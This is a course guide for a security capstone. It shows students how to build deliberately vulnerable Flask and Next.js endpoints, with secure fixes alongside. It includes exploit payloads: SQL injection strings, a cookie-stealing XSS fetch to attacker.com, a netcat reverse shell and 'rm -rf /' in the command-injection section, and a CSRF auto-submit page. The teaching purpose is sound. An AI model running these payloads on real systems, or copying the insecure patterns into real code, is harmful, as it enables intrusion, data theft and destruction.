

VULNERABILITY IMPLEMENTATION GUIDE Capstone Project

CSC 489 Spring 2026

PURPOSE OF THIS GUIDE

This guide provides code examples for implementing common web application vulnerabilities in your capstone project. Each vulnerability includes:

- Technical explanation
- Vulnerable code example (Flask backend)
- Secure code example (for comparison)
- How to test it
- Example exploit payload

IMPORTANT: These vulnerabilities are INTENTIONAL for educational purposes. Never implement these in real production applications!

TABLE OF CONTENTS

1. SQL Injection
 2. Cross-Site Scripting (XSS)
 - Stored XSS
 - Reflected XSS
 3. Cross-Site Request Forgery (CSRF)
 4. Insecure Direct Object Reference (IDOR)
 5. Broken Access Control
 6. Authentication Vulnerabilities
 7. Session Management Flaws
 8. File Upload Vulnerabilities
 9. Command Injection
 10. Information Disclosure
-
-

1. SQL INJECTION

WHAT IT IS: SQL injection occurs when user input is incorporated into SQL queries without proper sanitization, allowing attackers to manipulate database queries.

SEVERITY: Critical

WHERE TO IMPLEMENT: Login forms, search functionality, user profile lookups, any database query

VULNERABLE CODE (Flask):

```
from flask import Flask, request, jsonify
import sqlite3

@app.route('/api/login', methods=['POST'])
def login():
    data = request.get_json()
    username = data.get('username')
    password = data.get('password')

    # VULNERABLE - String concatenation creates SQL injection
    query = f"SELECT * FROM users WHERE username='{username}' AND
password='{password}'"

    conn = sqlite3.connect('database.db')
    cursor = conn.execute(query)
    user = cursor.fetchone()
    conn.close()

    if user:
        return jsonify({'success': True, 'user': user})
    return jsonify({'success': False, 'message': 'Invalid credentials'})
```

WHY IT'S VULNERABLE: The username and password are directly inserted into the SQL query using f-strings. An attacker can inject SQL commands.

EXPLOIT PAYLOAD: Username: admin' OR '1'='1' -- Password: anything

This bypasses authentication because the query becomes:

```
SELECT * FROM users WHERE username='admin' OR '1'='1' -- ' AND
password='anything'
```

The -- comments out the rest, and '1'='1' is always true.

SECURE CODE (Flask):

```
@app.route('/api/login', methods=['POST'])
def login_secure():
    data = request.get_json()
    username = data.get('username')
    password = data.get('password')
```

```

# SECURE - Parameterized query prevents SQL injection
query = "SELECT * FROM users WHERE username=? AND password=?"

conn = sqlite3.connect('database.db')
cursor = conn.execute(query, (username, password))
user = cursor.fetchone()
conn.close()

if user:
    return jsonify({'success': True, 'user': user})
return jsonify({'success': False, 'message': 'Invalid credentials'})

```

WHY IT'S SECURE: The ? placeholders and parameter tuple prevent SQL injection by treating user input as data, not executable SQL.

HOW TO TEST: 1. Use the exploit payload in your login form 2. If it logs you in without knowing the real password → vulnerable! 3. Try in search: ' OR '1'='1 or '; DROP TABLE users; --

OTHER LOCATIONS FOR SQL INJECTION:

```

# Search endpoint (vulnerable)
@app.route('/api/search')
def search():
    query = request.args.get('q')
    sql = f"SELECT * FROM posts WHERE title LIKE '%{query}%"
    # VULNERABLE!

# Profile lookup (vulnerable)
@app.route('/api/user/<username>')
def get_user(username):
    sql = f"SELECT * FROM users WHERE username='{username}'"
    # VULNERABLE!

```

2. CROSS-SITE SCRIPTING (XSS)

2.1 STORED XSS

WHAT IT IS: Malicious JavaScript is stored in the database and executed when other users view the content.

SEVERITY: High

WHERE TO IMPLEMENT: Comments, posts, user bios, any user-generated content

VULNERABLE CODE (Backend - Flask):

```
@app.route('/api/comments', methods=['POST'])
def create_comment():
    data = request.get_json()
    post_id = data.get('post_id')
    comment_text = data.get('comment')
    user_id = data.get('user_id')

    # VULNERABLE - No sanitization of input
    conn = sqlite3.connect('database.db')
    conn.execute(
        "INSERT INTO comments (post_id, user_id, comment_text) VALUES (?, ?, ?)",
        (post_id, user_id, comment_text)
    )
    conn.commit()
    conn.close()

    return jsonify({'success': True})

@app.route('/api/comments/<post_id>')
def get_comments(post_id):
    conn = sqlite3.connect('database.db')
    cursor = conn.execute(
        "SELECT * FROM comments WHERE post_id=?",
        (post_id,)
    )
    comments = cursor.fetchall()
    conn.close()

    # Returns raw HTML without encoding
    return jsonify({'comments': comments})
```

VULNERABLE CODE (Frontend - Next.js):

```
'use client';

export default function Comments({ comments }) {
    return (
        <div>
            {comments.map(comment => (
                <div key={comment.id}>
                    {/* VULNERABLE - Renders HTML directly */}
                    <div dangerouslySetInnerHTML={{ __html: comment.comment_text }} />
                </div>
            ))}
        </div>
    )
}
```

```

    )))
  </div>
);
}

```

WHY IT'S VULNERABLE: - Backend stores user input without sanitization - Frontend renders HTML using dangerouslySetInnerHTML - Malicious scripts execute when page loads

EXPLOIT PAYLOAD:

```

<script>alert('XSS!');</script>
<script>fetch('http://attacker.com/steal?cookie=' + document.cookie)</script>
<img src=x onerror="alert('XSS')">

```

SECURE CODE (Frontend):

```

export default function CommentsSecure({ comments }) {
  return (
    <div>
      {comments.map(comment => (
        <div key={comment.id}>
          {/* SECURE - React auto-escapes by default */}
          <p>{comment.comment_text}</p>
        </div>
      ))}
    </div>
  );
}

```

WHY IT'S SECURE: React automatically escapes content in {} brackets, converting < to <

2.2 REFLECTED XSS

WHAT IT IS: Malicious JavaScript in URL parameters is immediately reflected back in the response without sanitization.

SEVERITY: Medium-High

WHERE TO IMPLEMENT: Search results, error messages, any page that displays URL parameters

VULNERABLE CODE (Flask):

```

@app.route('/api/search')
def search():

```

```

query = request.args.get('q', '')

# VULNERABLE - Query is reflected in response without encoding
conn = sqlite3.connect('database.db')
cursor = conn.execute(
    "SELECT * FROM posts WHERE title LIKE ?",
    (f'%{query}%',)
)
results = cursor.fetchall()
conn.close()

return jsonify({
    'query': query, # VULNERABLE - Raw query reflected
    'results': results
})

```

VULNERABLE CODE (Frontend):

```

'use client';
import { useSearchParams } from 'next/navigation';

export default function SearchResults() {
    const searchParams = useSearchParams();
    const query = searchParams.get('q');

    return (
        <div>
            { /* VULNERABLE - Displaying URL parameter unsafely */ }
            <h2>Search results for: <span dangerouslySetInnerHTML={{ __html: query
        }} /></h2>
        </div>
    );
}

```

EXPLOIT PAYLOAD (URL):

```

http://localhost:3000/search?q=<script>alert('XSS')</script>
http://localhost:3000/search?q=<img src=x onerror="alert(document.cookie)">

```

SECURE CODE (Frontend):

```

export default function SearchResultsSecure() {
    const searchParams = useSearchParams();
    const query = searchParams.get('q');

    return (
        <div>
            { /* SECURE - React auto-escapes */ }
            <h2>Search results for: {query}</h2>
        </div>
    );
}

```

```
    </div>
  );
}
```

HOW TO TEST XSS: 1. Enter `<script>alert('XSS')</script>` in comment/search 2. If alert pops up → vulnerable! 3. Try `<img src=x onerror="alert(1)">` 4. Check if scripts execute when page loads

3. CROSS-SITE REQUEST FORGERY (CSRF)

WHAT IT IS: An attacker tricks a logged-in user's browser into making unwanted requests to perform actions without their knowledge.

SEVERITY: Medium-High

WHERE TO IMPLEMENT: Password change, money transfer, post creation, any state-changing action

VULNERABLE CODE (Flask):

```
@app.route('/api/transfer', methods=['POST'])
def transfer_money():
    data = request.get_json()
    from_user = data.get('from_user')
    to_user = data.get('to_user')
    amount = data.get('amount')

    # VULNERABLE - No CSRF token validation
    conn = sqlite3.connect('database.db')

    # Deduct from sender
    conn.execute(
        "UPDATE users SET balance = balance - ? WHERE id = ?",
        (amount, from_user)
    )

    # Add to receiver
    conn.execute(
        "UPDATE users SET balance = balance + ? WHERE id = ?",
        (amount, to_user)
    )
```

```
conn.commit()
conn.close()
```

```
return jsonify({'success': True, 'message': 'Transfer complete'})
```

VULNERABLE CODE (Frontend):

```
'use client';
```

```
export default function TransferForm() {
  const handleSubmit = async (e) => {
    e.preventDefault();

    // VULNERABLE - No CSRF token
    const response = await fetch('http://localhost:5000/api/transfer', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      credentials: 'include', // Sends cookies
      body: JSON.stringify({
        from_user: 1,
        to_user: attackerUserId,
        amount: 1000
      })
    });
  };

  return (
    <form onSubmit={handleSubmit}>
      <input name="to_user" placeholder="Recipient" />
      <input name="amount" placeholder="Amount" />
      <button>Transfer</button>
    </form>
  );
}
```

WHY IT'S VULNERABLE: No token to verify the request came from the legitimate site. An attacker can create a malicious page that makes the same request.

EXPLOIT PAYLOAD (Malicious HTML page):

```
<!-- Attacker's malicious website -->
<!DOCTYPE html>
<html>
<body>
<h1>You won a prize!</h1>
<form id="csrf" action="http://localhost:5000/api/transfer" method="POST">
  <input type="hidden" name="from_user" value="1" />
  <input type="hidden" name="to_user" value="999" />
  <input type="hidden" name="amount" value="10000" />
```



```

</form>
<script>
  document.getElementById('csrf').submit();
</script>
</body>
</html>

```

If a logged-in user visits this page, money is transferred without their knowledge!

SECURE CODE (Flask with CSRF Protection):

```

import secrets

# Generate CSRF token
@app.route('/api/csrf-token', methods=['GET'])
def get_csrf_token():
    token = secrets.token_hex(16)
    # Store in session or database
    session['csrf_token'] = token
    return jsonify({'token': token})

# Validate CSRF token
@app.route('/api/transfer', methods=['POST'])
def transfer_money_secure():
    data = request.get_json()
    csrf_token = data.get('csrf_token')

    # SECURE - Validate CSRF token
    if csrf_token != session.get('csrf_token'):
        return jsonify({'error': 'Invalid CSRF token'}), 403

    # Proceed with transfer...
    return jsonify({'success': True})

```

SECURE CODE (Frontend):

```

const handleSubmit = async (e) => {
  e.preventDefault();

  // SECURE - Get and include CSRF token
  const tokenRes = await fetch('http://localhost:5000/api/csrf-token');
  const { token } = await tokenRes.json();

  const response = await fetch('http://localhost:5000/api/transfer', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({
      from_user: 1,

```

```

        to_user: recipientId,
        amount: amount,
        csrf_token: token // Include token
    })
});
};

```

HOW TO TEST CSRF: 1. Create the malicious HTML page above 2. Log into your app in one tab 3. Open the malicious HTML in another tab 4. If action executes → vulnerable!

4. INSECURE DIRECT OBJECT REFERENCE (IDOR)

WHAT IT IS: Users can access other users' data by changing IDs in URLs without proper authorization checks.

SEVERITY: High

WHERE TO IMPLEMENT: Profile pages, viewing messages, order details, any resource accessed by ID

VULNERABLE CODE (Flask):

```

@app.route('/api/profile/<int:user_id>')
def get_profile(user_id):
    # VULNERABLE - No check if requester has permission
    conn = sqlite3.connect('database.db')
    cursor = conn.execute(
        "SELECT id, username, email, bio, phone FROM users WHERE id=?",
        (user_id,)
    )
    user = cursor.fetchone()
    conn.close()

    if user:
        return jsonify({'user': user})
    return jsonify({'error': 'User not found'}), 404

```

WHY IT'S VULNERABLE: Any logged-in user can view any profile by changing the user_id in the URL. No check to verify the requester owns this profile or has permission to view it.

EXPLOIT: 1. View your profile: /api/profile/5 2. Change ID: /api/profile/1, /api/profile/2, /api/profile/3 3. You can now see everyone's private data!

SECURE CODE (Flask):

```
@app.route('/api/profile/<int:user_id>')
def get_profile_secure(user_id):
    # Get current user from session/token
    current_user_id = get_current_user_id() # Your auth function

    # SECURE - Check authorization
    if current_user_id != user_id:
        return jsonify({'error': 'Unauthorized'}), 403

    conn = sqlite3.connect('database.db')
    cursor = conn.execute(
        "SELECT id, username, email, bio FROM users WHERE id=?",
        (user_id,)
    )
    user = cursor.fetchone()
    conn.close()

    return jsonify({'user': user})
```

WHY IT'S SECURE: Verifies the requester is authorized to view this specific resource.

ANOTHER IDOR EXAMPLE (Messages):

```
# VULNERABLE
@app.route('/api/messages/<int:message_id>')
def get_message(message_id):
    # No authorization check!
    conn = sqlite3.connect('database.db')
    cursor = conn.execute(
        "SELECT * FROM messages WHERE id=?",
        (message_id,)
    )
    message = cursor.fetchone()
    conn.close()
    return jsonify({'message': message})
```

EXPLOIT: Change message_id from 100 to 101, 102, etc. to read everyone's private messages!

HOW TO TEST IDOR: 1. Access your resource: /api/profile/5 2. Try other IDs: /api/profile/1, /api/profile/10 3. If you can see other users' data → vulnerable!

5. BROKEN ACCESS CONTROL (Privilege Escalation)

WHAT IT IS: Regular users can access admin-only functionality by accessing URLs directly.

SEVERITY: Critical

WHERE TO IMPLEMENT: Admin panels, user management, system settings

VULNERABLE CODE (Flask):

```
@app.route('/api/admin/users')
def get_all_users():
    # VULNERABLE - No role check!
    # Any logged-in user can access admin endpoint

    conn = sqlite3.connect('database.db')
    cursor = conn.execute("SELECT * FROM users")
    users = cursor.fetchall()
    conn.close()

    return jsonify({'users': users})

@app.route('/api/admin/delete-user/<int:user_id>', methods=['DELETE'])
def delete_user(user_id):
    # VULNERABLE - No admin check!

    conn = sqlite3.connect('database.db')
    conn.execute("DELETE FROM users WHERE id=?", (user_id,))
    conn.commit()
    conn.close()

    return jsonify({'success': True})
```

WHY IT'S VULNERABLE: No check to verify if the user has admin privileges. Any user who knows the URL can access admin functions.

EXPLOIT: 1. Regular user visits /api/admin/users 2. They see all users (privilege escalation!) 3. They can delete users via /api/admin/delete-user/5

SECURE CODE (Flask):

```

from functools import wraps

def admin_required(f):
    @wraps(f)
    def decorated_function(*args, **kwargs):
        # Get current user
        user_id = get_current_user_id() # Your auth function

        # Check if user is admin
        conn = sqlite3.connect('database.db')
        cursor = conn.execute(
            "SELECT role FROM users WHERE id=?",
            (user_id,)
        )
        user = cursor.fetchone()
        conn.close()

        if not user or user['role'] != 'admin':
            return jsonify({'error': 'Admin access required'}), 403

        return f(*args, **kwargs)
    return decorated_function

@app.route('/api/admin/users')
@admin_required # SECURE - Decorator checks role
def get_all_users_secure():
    conn = sqlite3.connect('database.db')
    cursor = conn.execute("SELECT * FROM users")
    users = cursor.fetchall()
    conn.close()
    return jsonify({'users': users})

```

WHY IT'S SECURE: The decorator verifies the user has admin role before allowing access.

HOW TO TEST: 1. Login as regular user 2. Try accessing /api/admin/users 3. If you can access it → vulnerable!

6. AUTHENTICATION VULNERABILITIES

6.1 WEAK PASSWORD REQUIREMENTS

VULNERABLE CODE:

```

@app.route('/api/register', methods=['POST'])
def register():
    data = request.get_json()
    username = data.get('username')
    password = data.get('password')

    # VULNERABLE - No password requirements
    # Accepts: "1", "a", "password", etc.

    conn = sqlite3.connect('database.db')
    conn.execute(
        "INSERT INTO users (username, password) VALUES (?, ?)",
        (username, password)
    )
    conn.commit()
    conn.close()

    return jsonify({'success': True})

```

SECURE CODE:

```

import re

@app.route('/api/register', methods=['POST'])
def register_secure():
    data = request.get_json()
    password = data.get('password')

    # SECURE - Enforce password requirements
    if len(password) < 8:
        return jsonify({'error': 'Password must be 8+ characters'}), 400
    if not re.search(r'\d', password):
        return jsonify({'error': 'Password must contain a number'}), 400
    if not re.search(r'[A-Z]', password):
        return jsonify({'error': 'Password must contain uppercase'}), 400

    # Proceed with registration...

```

6.2 PLAIN TEXT PASSWORD STORAGE

VULNERABLE CODE:

```

# VULNERABLE - Passwords stored in plain text
conn.execute(
    "INSERT INTO users (username, password) VALUES (?, ?)",
    (username, password) # Plain text!
)

```

SECURE CODE:

```

from werkzeug.security import generate_password_hash, check_password_hash

# SECURE - Hash passwords
hashed_password = generate_password_hash(password)
conn.execute(
    "INSERT INTO users (username, password) VALUES (?, ?)",
    (username, hashed_password)
)

# Login verification
user_password_hash = user['password']
if check_password_hash(user_password_hash, provided_password):
    # Login successful

```

6.3 NO RATE LIMITING (Brute Force)

VULNERABLE CODE:

```

@app.route('/api/login', methods=['POST'])
def login():
    # VULNERABLE - No limit on login attempts
    # Attacker can try thousands of passwords

    username = request.get_json().get('username')
    password = request.get_json().get('password')

    # Check credentials...

```

SECURE CODE:

```

from flask_limiter import Limiter

limiter = Limiter(app, default_limits=["200 per day", "50 per hour"])

@app.route('/api/login', methods=['POST'])
@limiter.limit("5 per minute") # SECURE - Max 5 attempts per minute
def login_secure():
    # Login logic...

```

7. SESSION MANAGEMENT FLAWS

7.1 PREDICTABLE SESSION IDs

VULNERABLE CODE:

```
# VULNERABLE - Sequential session IDs
session_counter = 1000

@app.route('/api/login', methods=['POST'])
def login():
    global session_counter

    # VULNERABLE - Predictable session ID
    session_id = str(session_counter)
    session_counter += 1

    # Store session...
    return jsonify({'session_id': session_id})
```

Attacker can guess: session_id=1001, 1002, 1003, etc.

SECURE CODE:

```
import secrets

@app.route('/api/login', methods=['POST'])
def login_secure():
    # SECURE - Cryptographically random session ID
    session_id = secrets.token_hex(32)

    # Store session...
    return jsonify({'session_id': session_id})
```

7.2 SESSION FIXATION

VULNERABLE CODE:

```
@app.route('/api/login', methods=['POST'])
def login():
    # VULNERABLE - Accepts session ID from client
    session_id = request.get_json().get('session_id')

    if not session_id:
        session_id = secrets.token_hex(16)

    # Use client-provided session ID (DANGEROUS!)
```

WHY VULNERABLE: Attacker can set their own session ID, then trick victim into using it.

SECURE CODE:


```

@app.route('/api/login', methods=['POST'])
def login_secure():
    # SECURE - Always generate new session ID server-side
    session_id = secrets.token_hex(32)

    # NEVER accept session ID from client

```

8. FILE UPLOAD VULNERABILITIES

8.1 UNRESTRICTED FILE UPLOAD

VULNERABLE CODE:

```

import os
from flask import request

@app.route('/api/upload', methods=['POST'])
def upload_file():
    file = request.files['file']

    # VULNERABLE - No validation!
    # - No file type check
    # - Uses original filename (path traversal risk)
    # - No size limit

    filename = file.filename # DANGEROUS!
    file.save(os.path.join('uploads', filename))

    return jsonify({'filename': filename})

```

EXPLOITS: - Upload: ../../etc/passwd (path traversal) - Upload: shell.php (web shell) - Upload: virus.exe (malware) - Upload: huge_file.zip (DoS via disk space)

SECURE CODE:

```

import os
import secrets
from werkzeug.utils import secure_filename

ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif'}
MAX_FILE_SIZE = 5 * 1024 * 1024 # 5 MB

def allowed_file(filename):

```

```

        return '.' in filename and \
            filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/api/upload', methods=['POST'])
def upload_file_secure():
    file = request.files['file']

    # SECURE - Multiple checks

    # Check file type
    if not allowed_file(file.filename):
        return jsonify({'error': 'Invalid file type'}), 400

    # Check file size
    file.seek(0, os.SEEK_END)
    file_size = file.tell()
    file.seek(0)
    if file_size > MAX_FILE_SIZE:
        return jsonify({'error': 'File too large'}), 400

    # Generate secure random filename
    extension = file.filename.rsplit('.', 1)[1].lower()
    filename = f"{secrets.token_hex(16)}.{extension}"

    # Save with secure filename
    file.save(os.path.join('uploads', filename))

    return jsonify({'filename': filename})

```

WHY SECURE: - Whitelists allowed file types - Limits file size - Generates random filename (prevents path traversal) - Uses secure_filename() for extra safety

9. COMMAND INJECTION

WHAT IT IS: User input is passed to system commands without sanitization, allowing execution of arbitrary commands.

SEVERITY: Critical

VULNERABLE CODE:

```
import os
```

```

@app.route('/api/ping', methods=['POST'])
def ping():
    data = request.get_json()
    ip_address = data.get('ip')

    # VULNERABLE - Passes user input directly to system command
    command = f"ping -c 4 {ip_address}"
    result = os.system(command)

    return jsonify({'result': result})

```

EXPLOIT PAYLOAD:

```

IP: 8.8.8.8; cat /etc/passwd
IP: 127.0.0.1 && rm -rf /
IP: localhost | nc attacker.com 4444 -e /bin/sh

```

The semicolon, &&, or | allows chaining commands!

SECURE CODE:

```

import subprocess
import re

@app.route('/api/ping', methods=['POST'])
def ping_secure():
    data = request.get_json()
    ip_address = data.get('ip')

    # SECURE - Validate input format
    if not re.match(r'^[\d.]+$', ip_address):
        return jsonify({'error': 'Invalid IP format'}), 400

    # Use subprocess with array (prevents injection)
    try:
        result = subprocess.run(
            ['ping', '-c', '4', ip_address],
            capture_output=True,
            text=True,
            timeout=10
        )
        return jsonify({'output': result.stdout})
    except Exception as e:
        return jsonify({'error': str(e)}), 500

```

WHY SECURE: - Validates input format - Uses subprocess with array (not shell=True) - Timeout prevents hanging

10. INFORMATION DISCLOSURE

10.1 VERBOSE ERROR MESSAGES

VULNERABLE CODE:

```
@app.route('/api/data/<id>')
def get_data(id):
    try:
        conn = sqlite3.connect('database.db')
        cursor = conn.execute(f"SELECT * FROM data WHERE id={id}")
        data = cursor.fetchone()
        conn.close()
        return jsonify({'data': data})
    except Exception as e:
        # VULNERABLE - Exposes stack trace
        return jsonify({'error': str(e)}), 500
```

ERROR REVEALS:

```
"error": "OperationalError: no such table: data"
"error": "DatabaseError: disk I/O error at /home/user/app/database.db"
```

Reveals database structure, file paths, system info!

SECURE CODE:

```
@app.route('/api/data/<id>')
def get_data_secure(id):
    try:
        conn = sqlite3.connect('database.db')
        cursor = conn.execute("SELECT * FROM data WHERE id=?", (id,))
        data = cursor.fetchone()
        conn.close()
        return jsonify({'data': data})
    except Exception as e:
        # SECURE - Generic error message
        app.logger.error(f"Database error: {e}") # Log internally
        return jsonify({'error': 'An error occurred'}), 500
```

10.2 EXPOSED API KEYS

VULNERABLE CODE (Frontend):

```
// VULNERABLE - Hardcoded in frontend code
const API_KEY = "sk_live_abc123xyz789";

fetch('https://api.service.com/data', {
  headers: {
    'Authorization': `Bearer ${API_KEY}`
  }
});
```

WHY VULNERABLE: Frontend code is visible in browser DevTools. Anyone can see the API key!

SECURE APPROACH: Store API keys in backend only. Frontend calls backend, backend calls external API.

10.3 DEBUG MODE IN PRODUCTION

VULNERABLE CODE:

```
# VULNERABLE - Debug mode enabled
if __name__ == '__main__':
    app.run(debug=True, port=5000)
```

WHY VULNERABLE: Debug mode exposes: - Interactive debugger - Stack traces - Source code - Environment variables

SECURE CODE:

```
if __name__ == '__main__':
    app.run(debug=False, port=5000) # SECURE
```

TESTING YOUR VULNERABILITIES

CHECKLIST:

SQL Injection: ☐ Test with: admin' OR '1'='1' – ☐ Test with: '; DROP TABLE users; – ☐ Works in: login, search, profile lookup

XSS: ☐ Test with:

☐ Test with: ☐ Alert pops up when viewing content

CSRF: ☐ Create malicious HTML page ☐ Submit form while logged in ☐ Action executes without user knowledge

IDOR: ☐ Access /api/resource/1 ☐ Change to /api/resource/2, /api/resource/3 ☐ Can view other users' data

Broken Access Control: ☐ Login as regular user ☐ Access /api/admin/... ☐ Admin functions work

File Upload: ☐ Try uploading .php, .exe files ☐ Try filename: ../../evil.txt ☐ Files upload without restriction

Command Injection: ☐ Test with: 8.8.8.8; whoami ☐ Test with: 127.0.0.1 && cat /etc/passwd ☐ Commands execute

DOCUMENTATION TEMPLATE

For each vulnerability in your PROJECT_SUMMARY.pdf:

VULNERABILITY #1: [Name] • Severity: Critical / High / Medium / Low • Location: backend/app.py, line 45, login() function • Type: SQL Injection • Description: User input is concatenated directly into SQL query without parameterization, allowing SQL injection attacks. • Vulnerable Code Snippet: query = f"SELECT * FROM users WHERE username='{username}'" • Example Exploit: Username: admin' OR '1'='1' – Password: anything • Impact: Complete authentication bypass, potential database compromise • How to Fix: Use parameterized queries with ? placeholders

REMEMBER:

✓ Vulnerabilities must be ACTUALLY EXPLOITABLE ✓ Test each one yourself before submission ✓ Document clearly where each vulnerability is located ✓ Include example payloads in your documentation ✓ Make sure another team can find and exploit them

These are intentional vulnerabilities for educational purposes. NEVER implement these in real production applications!

Good luck implementing your vulnerabilities! 🗝️
